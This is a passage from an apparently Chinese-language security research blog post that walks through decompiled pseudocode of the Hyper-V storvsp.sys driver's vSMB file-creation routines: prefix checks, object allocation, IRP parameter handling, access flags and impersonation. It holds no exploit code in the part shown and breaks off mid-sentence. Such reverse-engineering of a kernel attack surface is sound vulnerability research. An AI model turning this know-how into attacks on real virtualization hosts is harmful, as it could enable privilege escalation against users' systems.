0.05);border-radius: 3px;"><span leaf="">kernel32.dll</span></code><span leaf="">库中的 </span><code style="font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 1.45;font-size: 13.6px;margin: 0px 2px;padding: 0.2em 0.4em;white-space: nowrap;background-color: rgba(27, 31, 35, 0.05);border-radius: 3px;"><span leaf="">CreateFileW()</span></code><span leaf="">API 以 vSMB 目标路径执行调用时，内核驱动中首先调用的是 </span><code style="font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 1.45;font-size: 13.6px;margin: 0px 2px;padding: 0.2em 0.4em;white-space: nowrap;background-color: rgba(27, 31, 35, 0.05);border-radius: 3px;"><span leaf="">VspFileCreate()</span></code><span leaf="">函数。该函数如下所示：</span></p><pre style="font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 15px 0px;font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 19px;background-color: rgb(246, 248, 250);font-size: 13px;overflow: auto;padding: 16px;border-radius: 3px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);"><code style="white-space:pre-wrap;font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 1.45;font-size: inherit;margin: 0px;padding: 0px;background: none;border-radius: 3px;border: medium;"><span style="color: rgb(106, 115, 125);"><span leaf="">// Module: storvsp.sys</span></span><span leaf=""><br/></span><span style="color: rgb(215, 58, 73);"><span leaf="">void</span></span><span leaf=""> __fastcall </span><span style="color: rgb(111, 66, 193);"><span leaf="">VspFileCreate</span></span><span leaf="">(</span><span style="color: rgb(215, 58, 73);"><span leaf="">struct</span></span><span leaf=""> WDFDEVICE__ *Device, WDFREQUEST Request, WDFFILEOBJECT FileObject)</span><span leaf=""><br/></span><span leaf="">{</span><span leaf=""><br/></span><span leaf="">[Truncated]</span><span leaf=""><br/></span><span leaf="">  prefixAdapter.</span><span style="color: rgb(36, 41, 46);"><span leaf="">Buffer</span></span><span leaf=""> = L</span><span style="color: rgb(0, 56, 120);"><span leaf="">&#34;</span></span><span style="font-weight: bold;color: rgb(34, 134, 58);"><span leaf="">\\</span></span><span style="color: rgb(0, 56, 120);"><span leaf="">ADAPTER&#34;</span></span><span leaf="">;</span><span leaf=""><br/></span><span leaf="">  *(_QWORD *)&amp;prefixAdapter.</span><span style="color: rgb(36, 41, 46);"><span leaf="">Length</span></span><span leaf=""> = 0x120010i64;</span><span leaf=""><br/></span><span leaf="">  v22.</span><span style="color: rgb(36, 41, 46);"><span leaf="">Buffer</span></span><span leaf=""> = L</span><span style="color: rgb(0, 56, 120);"><span leaf="">&#34;</span></span><span style="font-weight: bold;color: rgb(34, 134, 58);"><span leaf="">\\</span></span><span style="color: rgb(0, 56, 120);"><span leaf="">GUID</span></span><span style="font-weight: bold;color: rgb(34, 134, 58);"><span leaf="">\\</span></span><span style="color: rgb(0, 56, 120);"><span leaf="">&#34;</span></span><span leaf="">;</span><span leaf=""><br/></span><span leaf="">  *(_QWORD *)&amp;v22.</span><span style="color: rgb(36, 41, 46);"><span leaf="">Length</span></span><span leaf=""> = 917516i64;</span><span leaf=""><br/></span><span leaf="">  prefixVSMB.</span><span style="color: rgb(36, 41, 46);"><span leaf="">Buffer</span></span><span leaf=""> = L</span><span style="color: rgb(0, 56, 120);"><span leaf="">&#34;</span></span><span style="font-weight: bold;color: rgb(34, 134, 58);"><span leaf="">\\</span></span><span style="color: rgb(0, 56, 120);"><span leaf="">VSMB&#34;</span></span><span leaf="">;</span><span leaf=""><br/></span><span leaf="">  *(_QWORD *)&amp;prefixVSMB.</span><span style="color: rgb(36, 41, 46);"><span leaf="">Length</span></span><span leaf=""> = 0xC000Ai64;</span><span leaf=""><br/></span><span style="color: rgb(0, 92, 197);"><span leaf="">memset</span></span><span leaf="">(&amp;RequestParameters, </span><span style="color: rgb(0, 92, 197);"><span leaf="">0</span></span><span leaf="">, </span><span style="color: rgb(215, 58, 73);"><span leaf="">sizeof</span></span><span leaf="">(RequestParameters));</span><span leaf=""><br/></span><span leaf="">  RequestParameters.</span><span style="color: rgb(36, 41, 46);"><span leaf="">Size</span></span><span leaf=""> = </span><span style="color: rgb(0, 92, 197);"><span leaf="">0x28</span></span><span leaf="">;</span><span leaf=""><br/></span><span leaf="">  WdfFunctions-&gt;</span><span style="color: rgb(0, 92, 197);"><span leaf="">pfnWdfRequestGetParameters</span></span><span leaf="">(WdfDriverGlobals, Request, &amp;RequestParameters);</span><span leaf=""><br/></span><span leaf="">  retFileObj = WdfFunctions-&gt;</span><span style="color: rgb(0, 92, 197);"><span leaf="">pfnWdfFileObjectWdmGetFileObject</span></span><span leaf="">(WdfDriverGlobals, FileObject);</span><span leaf=""><br/></span><span leaf="">  p_FileName = &amp;retFileObj-&gt;FileName;</span><span leaf=""><br/></span><span style="color: rgb(0, 92, 197);"><span leaf="">VspGetSettingsFromRegistry</span></span><span leaf="">(v8);</span><span leaf=""><br/></span><span style="color: rgb(215, 58, 73);"><span leaf="">if</span></span><span leaf=""> ( </span><span style="color: rgb(0, 92, 197);"><span leaf="">RtlPrefixUnicodeString</span></span><span leaf="">(&amp;prefixAdapter, &amp;retFileObj-&gt;FileName, </span><span style="color: rgb(0, 92, 197);"><span leaf="">1u</span></span><span leaf="">) )</span><span leaf=""><br/></span><span leaf="">[Truncated]</span><span leaf=""><br/></span><span leaf="">[</span><span style="color: rgb(0, 92, 197);"><span leaf="">1</span></span><span leaf="">]</span><span leaf=""><br/></span><span style="color: rgb(215, 58, 73);"><span leaf="">if</span></span><span leaf=""> ( </span><span style="color: rgb(0, 92, 197);"><span leaf="">VspCheckAndRemovePrefix</span></span><span leaf="">(p_FileName, &amp;prefixVSMB, &amp;VsmbFileName) )</span><span leaf=""><br/></span><span leaf="">  {</span><span leaf=""><br/></span><span leaf="">    v13 = </span><span style="color: rgb(0, 92, 197);"><span leaf="">VspVsmbDelayCreate</span></span><span leaf="">(Request, &amp;VsmbFileName, v9, retFileObj);</span><span leaf=""><br/></span><span style="color: rgb(215, 58, 73);"><span leaf="">goto</span></span><span leaf=""> LABEL_13;</span><span leaf=""><br/></span><span leaf="">  }</span><span leaf=""><br/></span><span leaf="">[Truncated]</span><span leaf=""><br/></span><span leaf="">}</span></code></pre><p style="font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 15px 0px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);"><span leaf="">在 [1] 处，</span><code style="font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 1.45;font-size: 13.6px;margin: 0px 2px;padding: 0.2em 0.4em;white-space: nowrap;background-color: rgba(27, 31, 35, 0.05);border-radius: 3px;"><span leaf="">VspFileCreate()</span></code><span leaf="">函数验证目标设备对象字符串是否以 </span><code style="font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 1.45;font-size: 13.6px;margin: 0px 2px;padding: 0.2em 0.4em;white-space: nowrap;background-color: rgba(27, 31, 35, 0.05);border-radius: 3px;"><span leaf="">\\VSMB</span></code><span leaf="">前缀开头。如果满足此条件，则调用 </span><code style="font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 1.45;font-size: 13.6px;margin: 0px 2px;padding: 0.2em 0.4em;white-space: nowrap;background-color: rgba(27, 31, 35, 0.05);border-radius: 3px;"><span leaf="">VspVsmbDelayCreate()</span></code><span leaf="">函数并传入裁剪后的文件名。该函数将一个工作项排队，最终调用 </span><code style="font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 1.45;font-size: 13.6px;margin: 0px 2px;padding: 0.2em 0.4em;white-space: nowrap;background-color: rgba(27, 31, 35, 0.05);border-radius: 3px;"><span leaf="">VspVsmbFileCreate()</span></code><span leaf="">。</span></p><h3 style="font-style: normal;font-variant-caps: normal;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 20px 0px 10px;padding: 0px;font-weight: bold;-webkit-font-smoothing: antialiased;cursor: text;font-size: 18px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);"><span leaf="">VspVsmbFileCreate()</span></h3><p style="font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 15px 0px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);"><code style="font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 1.45;font-size: 13.6px;margin: 0px 2px;padding: 0.2em 0.4em;white-space: nowrap;background-color: rgba(27, 31, 35, 0.05);border-radius: 3px;"><span leaf="">VspVsmbFileCreate()</span></code><span leaf="">函数的相关部分如下所示：</span></p><pre style="font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 15px 0px;font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 19px;background-color: rgb(246, 248, 250);font-size: 13px;overflow: auto;padding: 16px;border-radius: 3px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);"><code style="white-space:pre-wrap;font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 1.45;font-size: inherit;margin: 0px;padding: 0px;background: none;border-radius: 3px;border: medium;"><span style="color: rgb(106, 115, 125);"><span leaf="">// Module: storvsp.sys</span></span><span leaf=""><br/></span><span leaf="">__int64 __fastcall </span><span style="color: rgb(111, 66, 193);"><span leaf="">VspVsmbFileCreate</span></span><span leaf="">(</span><span leaf=""><br/></span><span leaf="">        WDFREQUEST Request,</span><span leaf=""><br/></span><span style="color: rgb(215, 58, 73);"><span leaf="">struct</span></span><span leaf=""> _UNICODE_STRING *FileName,</span><span leaf=""><br/></span><span style="color: rgb(215, 58, 73);"><span leaf="">struct</span></span><span leaf=""> _IO_WORKITEM *IoWorkItem,</span><span leaf=""><br/></span><span style="color: rgb(215, 58, 73);"><span leaf="">struct</span></span><span leaf=""> _FILE_OBJECT *pFileObject)</span><span leaf=""><br/></span><span leaf="">{</span><span leaf=""><br/></span><span leaf="">[Truncated]</span><span leaf=""><br/></span><span leaf="">[</span><span style="color: rgb(0, 92, 197);"><span leaf="">2</span></span><span leaf="">]</span><span leaf=""><br/></span><span leaf="">_VVSMB_SHARE_ROOT_OBJECT* VsmbRootObject = (</span><span style="color: rgb(215, 58, 73);"><span leaf="">struct</span></span><span leaf=""> _VVSMB_SHARE_ROOT_OBJECT *)</span><span style="color: rgb(0, 92, 197);"><span leaf="">ExAllocatePool2</span></span><span leaf="">(0x40i64, 0x80i64, </span><span style="color: rgb(0, 56, 120);"><span leaf="">&#39;stSV&#39;</span></span><span leaf="">);</span><span leaf=""><br/></span><span style="color: rgb(215, 58, 73);"><span leaf="">if</span></span><span leaf=""> ( !VsmbRootObject )</span><span leaf=""><br/></span><span leaf="">  {</span><span leaf=""><br/></span><span leaf="">    Status = </span><span style="color: rgb(0, 92, 197);"><span leaf="">0xC0000017</span></span><span leaf="">;</span><span leaf=""><br/></span><span style="color: rgb(0, 92, 197);"><span leaf="">StorVspTrace</span></span><span leaf="">((</span><span style="color: rgb(215, 58, 73);"><span leaf="">int</span></span><span leaf="">)</span><span style="color: rgb(0, 56, 120);"><span leaf="">&#34;VspVsmbFileCreate&#34;</span></span><span leaf="">, </span><span style="color: rgb(0, 92, 197);"><span leaf="">455</span></span><span leaf="">, </span><span style="color: rgb(0, 92, 197);"><span leaf="">2</span></span><span leaf="">, </span><span style="color: rgb(0, 92, 197);"><span leaf="">8</span></span><span leaf="">, </span><span style="color: rgb(0, 56, 120);"><span leaf="">&#34;Cleanup [status = ((NTSTATUS)0xC0000017L)]&#34;</span></span><span leaf="">, FileAttr);</span><span leaf=""><br/></span><span style="color: rgb(215, 58, 73);"><span leaf="">goto</span></span><span leaf=""> LABEL_73;</span><span leaf=""><br/></span><span leaf="">  }</span><span leaf=""><br/></span><span style="color: rgb(0, 92, 197);"><span leaf="">StorVspTrace</span></span><span leaf="">(</span><span leaf=""><br/></span><span leaf="">    (</span><span style="color: rgb(215, 58, 73);"><span leaf="">int</span></span><span leaf="">)</span><span style="color: rgb(0, 56, 120);"><span leaf="">&#34;VspVsmbFileCreate&#34;</span></span><span leaf="">,</span><span leaf=""><br/></span><span style="color: rgb(0, 92, 197);"><span leaf="">462</span></span><span leaf="">,</span><span leaf=""><br/></span><span style="color: rgb(0, 92, 197);"><span leaf="">4</span></span><span leaf="">,</span><span leaf=""><br/></span><span style="color: rgb(0, 92, 197);"><span leaf="">8</span></span><span leaf="">,</span><span leaf=""><br/></span><span style="color: rgb(0, 56, 120);"><span leaf="">&#34;VspVsmbFileCreate enter ... filename: %wZ fileObject </span></span><span style="color: rgb(0, 92, 197);"><span leaf="">%p</span></span><span style="color: rgb(0, 56, 120);"><span leaf=""> smbObject </span></span><span style="color: rgb(0, 92, 197);"><span leaf="">%p</span></span><span style="color: rgb(0, 56, 120);"><span leaf="">&#34;</span></span><span leaf="">,</span><span leaf=""><br/></span><span leaf="">    (</span><span style="color: rgb(215, 58, 73);"><span leaf="">char</span></span><span leaf="">)FileName);</span><span leaf=""><br/></span><span leaf="">  VsmbRootObject-&gt;ObjectType = </span><span style="color: rgb(0, 92, 197);"><span leaf="">3</span></span><span leaf="">;</span><span leaf=""><br/></span><span style="color: rgb(0, 92, 197);"><span leaf="">ExInitializeRundownProtection</span></span><span leaf="">(&amp;VsmbRootObject-&gt;RundownProtect);</span><span leaf=""><br/></span><span leaf="">  VsmbRootObject-&gt;State = </span><span style="color: rgb(0, 92, 197);"><span leaf="">0</span></span><span leaf="">;</span><span leaf=""><br/></span><span leaf="">  VsmbRootObject-&gt;IsInitialized = </span><span style="color: rgb(0, 92, 197);"><span leaf="">1</span></span><span leaf="">;</span><span leaf=""><br/></span><span style="color: rgb(0, 92, 197);"><span leaf="">_InterlockedCompareExchange</span></span><span leaf="">((</span><span style="color: rgb(215, 58, 73);"><span leaf="">volatile</span></span><span style="color: rgb(215, 58, 73);"><span leaf="">signed</span></span><span leaf=""> __int32 *)&amp;VsmbRootObject-&gt;State, FILE_WRITE_DATA, </span><span style="color: rgb(0, 92, 197);"><span leaf="">0</span></span><span leaf="">);</span><span leaf=""><br/></span><span leaf="">  v9 = WdfFunctions;</span><span leaf=""><br/></span><span leaf="">  VsmbRootObject-&gt;UnknownPtr = 0i64;</span><span leaf=""><br/></span><span leaf="">  v10 = WdfDriverGlobals;</span><span leaf=""><br/></span><span leaf="">  VsmbRootObject-&gt;BackingFileObject = pFileObject;</span><span leaf=""><br/></span><span leaf="">[</span><span style="color: rgb(0, 92, 197);"><span leaf="">3</span></span><span leaf="">]</span><span leaf=""><br/></span><span leaf="">  IRP = v9-&gt;</span><span style="color: rgb(0, 92, 197);"><span leaf="">pfnWdfRequestWdmGetIrp</span></span><span leaf="">(v10, Request);</span><span leaf=""><br/></span><span leaf="">  CurrentStackLocation = IRP-&gt;Tail.</span><span style="color: rgb(36, 41, 46);"><span leaf="">Overlay</span></span><span leaf="">.</span><span style="color: rgb(36, 41, 46);"><span leaf="">CurrentStackLocation</span></span><span leaf="">;</span><span leaf=""><br/></span><span leaf="">  AllocationSize = (PLARGE_INTEGER)&amp;IRP-&gt;Overlay;</span><span leaf=""><br/></span><span leaf="">  SecurityContext = CurrentStackLocation-&gt;Parameters.</span><span style="color: rgb(36, 41, 46);"><span leaf="">Create</span></span><span leaf="">.</span><span style="color: rgb(36, 41, 46);"><span leaf="">SecurityContext</span></span><span leaf="">;</span><span leaf=""><br/></span><span leaf="">  CreateOptions = CurrentStackLocation-&gt;Parameters.</span><span style="color: rgb(36, 41, 46);"><span leaf="">Create</span></span><span leaf="">.</span><span style="color: rgb(36, 41, 46);"><span leaf="">Options</span></span><span leaf=""> &amp; </span><span style="color: rgb(0, 92, 197);"><span leaf="">0xFFFFFF</span></span><span leaf="">;</span><span leaf=""><br/></span><span leaf="">  v14 = </span><span style="color: rgb(0, 92, 197);"><span leaf="">BYTE3</span></span><span leaf="">(CurrentStackLocation-&gt;Parameters.</span><span style="color: rgb(36, 41, 46);"><span leaf="">QueryEa</span></span><span leaf="">.</span><span style="color: rgb(36, 41, 46);"><span leaf="">EaList</span></span><span leaf="">);</span><span leaf=""><br/></span><span leaf="">  DesiredAccess = SecurityContext-&gt;DesiredAccess;</span><span leaf=""><br/></span><span leaf="">  FileAttributes = CurrentStackLocation-&gt;Parameters.</span><span style="color: rgb(36, 41, 46);"><span leaf="">Create</span></span><span leaf="">.</span><span style="color: rgb(36, 41, 46);"><span leaf="">FileAttributes</span></span><span leaf="">;</span><span leaf=""><br/></span><span leaf="">  ShareAccess = CurrentStackLocation-&gt;Parameters.</span><span style="color: rgb(36, 41, 46);"><span leaf="">Create</span></span><span leaf="">.</span><span style="color: rgb(36, 41, 46);"><span leaf="">ShareAccess</span></span><span leaf="">;</span><span leaf=""><br/></span><span leaf="">[</span><span style="color: rgb(0, 92, 197);"><span leaf="">4</span></span><span leaf="">]</span><span leaf=""><br/></span><span style="color: rgb(215, 58, 73);"><span leaf="">if</span></span><span leaf=""> ( AllocationSize-&gt;QuadPart )</span><span leaf=""><br/></span><span leaf="">  {</span><span leaf=""><br/></span><span leaf="">    v15 = </span><span style="color: rgb(0, 92, 197);"><span leaf="">516</span></span><span leaf="">;</span><span leaf=""><br/></span><span style="color: rgb(215, 58, 73);"><span leaf="">goto</span></span><span leaf=""> LABEL_5;</span><span leaf=""><br/></span><span leaf="">  }</span><span leaf=""><br/></span><span style="color: rgb(215, 58, 73);"><span leaf="">if</span></span><span leaf=""> ( (FileAttributes &amp; </span><span style="color: rgb(0, 92, 197);"><span leaf="">0xFFFFFF7F</span></span><span leaf="">) != </span><span style="color: rgb(0, 92, 197);"><span leaf="">0</span></span><span leaf=""> )</span><span leaf=""><br/></span><span leaf="">  {</span><span leaf=""><br/></span><span leaf="">    v15 = </span><span style="color: rgb(0, 92, 197);"><span leaf="">519</span></span><span leaf="">;</span><span leaf=""><br/></span><span style="color: rgb(215, 58, 73);"><span leaf="">goto</span></span><span leaf=""> LABEL_5;</span><span leaf=""><br/></span><span leaf="">  }</span><span leaf=""><br/></span><span style="color: rgb(215, 58, 73);"><span leaf="">if</span></span><span leaf=""> ( (ShareAccess &amp; </span><span style="color: rgb(0, 92, 197);"><span leaf="">0xFFFFFFF8</span></span><span leaf="">) != </span><span style="color: rgb(0, 92, 197);"><span leaf="">0</span></span><span leaf=""> )</span><span leaf=""><br/></span><span leaf="">  {</span><span leaf=""><br/></span><span leaf="">    v15 = </span><span style="color: rgb(0, 92, 197);"><span leaf="">522</span></span><span leaf="">;</span><span leaf=""><br/></span><span style="color: rgb(215, 58, 73);"><span leaf="">goto</span></span><span leaf=""> LABEL_5;</span><span leaf=""><br/></span><span leaf="">  }</span><span leaf=""><br/></span><span style="color: rgb(215, 58, 73);"><span leaf="">if</span></span><span leaf=""> ( v14 != </span><span style="color: rgb(0, 92, 197);"><span leaf="">1</span></span><span leaf=""> )</span><span leaf=""><br/></span><span leaf="">  {</span><span leaf=""><br/></span><span leaf="">    v15 = </span><span style="color: rgb(0, 92, 197);"><span leaf="">524</span></span><span leaf="">;</span><span leaf=""><br/></span><span style="color: rgb(215, 58, 73);"><span leaf="">goto</span></span><span leaf=""> LABEL_5;</span><span leaf=""><br/></span><span leaf="">  }</span><span leaf=""><br/></span><span style="color: rgb(215, 58, 73);"><span leaf="">if</span></span><span leaf=""> ( (CreateOptions &amp; </span><span style="color: rgb(0, 92, 197);"><span leaf="">0xFFFDBFDE</span></span><span leaf="">) != </span><span style="color: rgb(0, 92, 197);"><span leaf="">0</span></span><span leaf=""> )</span><span leaf=""><br/></span><span leaf="">  {</span><span leaf=""><br/></span><span leaf="">    v15 = </span><span style="color: rgb(0, 92, 197);"><span leaf="">527</span></span><span leaf="">;</span><span leaf=""><br/></span><span style="color: rgb(215, 58, 73);"><span leaf="">goto</span></span><span leaf=""> LABEL_5;</span><span leaf=""><br/></span><span leaf="">  }</span><span leaf=""><br/></span><span leaf="">[</span><span style="color: rgb(0, 92, 197);"><span leaf="">5</span></span><span leaf="">]</span><span leaf=""><br/></span><span style="color: rgb(215, 58, 73);"><span leaf="">if</span></span><span leaf=""> ( (SecurityContext-&gt;DesiredAccess &amp; FILE_APPEND_DATA) != </span><span style="color: rgb(0, 92, 197);"><span leaf="">0</span></span><span leaf=""> )</span><span leaf=""><br/></span><span leaf="">    VsmbRootObject-&gt;HasAppendAccess = </span><span style="color: rgb(0, 92, 197);"><span leaf="">1</span></span><span leaf="">;</span><span leaf=""><br/></span><span style="color: rgb(215, 58, 73);"><span leaf="">if</span></span><span leaf=""> ( (SecurityContext-&gt;DesiredAccess &amp; FILE_READ_DATA) != </span><span style="color: rgb(0, 92, 197);"><span leaf="">0</span></span><span leaf=""> )</span><span leaf=""><br/></span><span leaf="">  {</span><span leaf=""><br/></span><span leaf="">    VsmbRootObject-&gt;HasReadAccess = </span><span style="color: rgb(0, 92, 197);"><span leaf="">1</span></span><span leaf="">;</span><span leaf=""><br/></span><span leaf="">    CreateOptions |= </span><span style="color: rgb(0, 92, 197);"><span leaf="">0x4000u</span></span><span leaf="">;</span><span leaf=""><br/></span><span leaf="">  }</span><span leaf=""><br/></span><span style="color: rgb(215, 58, 73);"><span leaf="">if</span></span><span leaf=""> ( (SecurityContext-&gt;DesiredAccess &amp; FILE_WRITE_DATA) != </span><span style="color: rgb(0, 92, 197);"><span leaf="">0</span></span><span leaf=""> )</span><span leaf=""><br/></span><span leaf="">    VsmbRootObject-&gt;HasWriteAccess = </span><span style="color: rgb(0, 92, 197);"><span leaf="">1</span></span><span leaf="">;</span><span leaf=""><br/></span><span leaf="">[Truncated]</span><span leaf=""><br/></span><span leaf="">[</span><span style="color: rgb(0, 92, 197);"><span leaf="">6</span></span><span leaf="">]</span><span leaf=""><br/></span><span leaf="">  v20 = </span><span style="color: rgb(0, 92, 197);"><span leaf="">VspVsmbImpersonateSecurityContext</span></span><span leaf="">(</span><span leaf=""><br/></span><span leaf="">          &amp;SecurityContext-&gt;AccessState-&gt;SubjectSecurityContext,</span><span leaf=""><br/></span><span leaf="">          SecurityQos,</span><span leaf=""><br/></span><span leaf="">          (PSECURITY_CLIENT_CONTEXT)ClientContext);</span><span leaf=""><br/></span><span leaf="">[Truncated]</span><span leaf=""><br/></span><span leaf="">[</span><span style="color: rgb(0, 92, 197);"><span leaf="">7</span></span><span leaf="">]</span><span leaf=""><br/></span><span leaf="">  v15 = ~(</span><span style="color: rgb(215, 58, 73);"><span leaf="">unsigned</span></span><span leaf=""> __int8)(IRP-&gt;Flags &gt;&gt; </span><span style="color: rgb(0, 92, 197);"><span leaf="">1</span></span><span leaf="">);</span><span leaf=""><br/></span><span leaf="">  ObjectAttributes.</span><span style="color: rgb(36, 41, 46);"><span leaf="">RootDirectory</span></span><span leaf=""> = 0i64;</span><span leaf=""><br/></span><span leaf="">  ObjectAttributes.</span><span style="color: rgb(36, 41, 46);"><span leaf="">Length</span></span><span leaf=""> = </span><span style="color: rgb(0, 92, 197);"><span leaf="">48</span></span><span leaf="">;</span><span leaf=""><br/></span><span leaf="">  ObjectAttributes.</span><span style="color: rgb(36, 41, 46);"><span leaf="">Attributes</span></span><span leaf=""> = v15 &amp; OBJ_CASE_INSENSITIVE | OBJ_KERNEL_HANDLE;</span><span leaf=""><br/></span><span leaf="">  ObjectAttributes.</span><span style="color: rgb(36, 41, 46);"><span leaf="">ObjectName</span></span><span leaf=""> = FileName;</span><span leaf=""><br/></span><span leaf="">  *(_OWORD *)&amp;ObjectAttributes.</span><span style="color: rgb(36, 41, 46);"><span leaf="">SecurityDescriptor</span></span><span leaf=""> = 0i64;</span><span leaf=""><br/></span><span leaf="">  Status = </span><span style="color: rgb(0, 92, 197);"><span leaf="">IoCreateFileEx</span></span><span leaf="">(</span><span leaf=""><br/></span><span leaf="">             &amp;VsmbRootObject-&gt;RootDirectoryHandle,</span><span leaf=""><br/></span><span style="color: rgb(0, 92, 197);"><span leaf="">0x100020u</span></span><span leaf="">,</span><span leaf=""><br/></span><span leaf="">             &amp;ObjectAttributes,</span><span leaf=""><br/></span><span leaf="">             &amp;IoStatusBlock,</span><span leaf=""><br/></span><span leaf="">             AllocationSize,</span><span leaf=""><br/></span><span leaf="">             FileAttributes,</span><span leaf=""><br/></span><span leaf="">             ShareAccess,</span><span leaf=""><br/></span><span style="color: rgb(0, 92, 197);"><span leaf="">1u</span></span><span leaf="">,</span><span leaf=""><br/></span><span leaf="">             CreateOptions,</span><span leaf=""><br/></span><span leaf="">             0i64,</span><span leaf=""><br/></span><span style="color: rgb(0, 92, 197);"><span leaf="">0</span></span><span leaf="">,</span><span leaf=""><br/></span><span leaf="">             CreateFileTypeNone,</span><span leaf=""><br/></span><span leaf="">             0i64,</span><span leaf=""><br/></span><span style="color: rgb(0, 92, 197);"><span leaf="">1u</span></span><span leaf="">,</span><span leaf=""><br/></span><span leaf="">             0i64);</span><span leaf=""><br/></span><span leaf="">[Truncated]</span><span leaf=""><br/></span><span leaf="">}</span></code></pre><p style="font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 15px 0px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);"><code style="font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 1.45;font-size: 13.6px;margin: 0px 2px;padding: 0.2em 0.4em;white-space: nowrap;background-color: rgba(27, 31, 35, 0.05);border-radius: 3px;"><span leaf="">VspVsmbFileCreate()</span></code><span leaf="">函数首先在 [2] 处分配 </span><code style="font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 1.45;font-size: 13.6px;margin: 0px 2px;padding: 0.2em 0.4em;white-space: nowrap;background-color: rgba(27, 31, 35, 0.05);border-radius: 3px;"><span leaf="">VsmbRootObject</span></code><span leaf="">对象。该对象大小为 </span><code style="font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 1.45;font-size: 13.6px;margin: 0px 2px;padding: 0.2em 0.4em;white-space: nowrap;background-color: rgba(27, 31, 35, 0.05);border-radius: 3px;"><span leaf="">0x80</span></code><span leaf="">字节，标签为 </span><code style="font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 1.45;font-size: 13.6px;margin: 0px 2px;padding: 0.2em 0.4em;white-space: nowrap;background-color: rgba(27, 31, 35, 0.05);border-radius: 3px;"><span leaf="">VSts</span></code><span leaf="">，作为虚拟共享的持久上下文。它在内存中保留，直至不再有打开的设备句柄与该结构关联。</span></p><p style="font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 15px 0px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);"><span leaf="">在 [3] 处，函数获取底层 IRP 对象并初始化由用户态 </span><code style="font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 1.45;font-size: 13.6px;margin: 0px 2px;padding: 0.2em 0.4em;white-space: nowrap;background-color: rgba(27, 31, 35, 0.05);border-radius: 3px;"><span leaf="">NtCreateFile()</span></code><span leaf="">函数（由 </span><code style="font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 1.45;font-size: 13.6px;margin: 0px 2px;padding: 0.2em 0.4em;white-space: nowrap;background-color: rgba(27, 31, 35, 0.05);border-radius: 3px;"><span leaf="">CreateFileW()</span></code><span leaf="">API 内部调用）传递的参数。具体而言，它提取了 </span><code style="font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 1.45;font-size: 13.6px;margin: 0px 2px;padding: 0.2em 0.4em;white-space: nowrap;background-color: rgba(27, 31, 35, 0.05);border-radius: 3px;"><span leaf="">SecurityContext</span></code><span leaf="">、</span><code style="font-family: 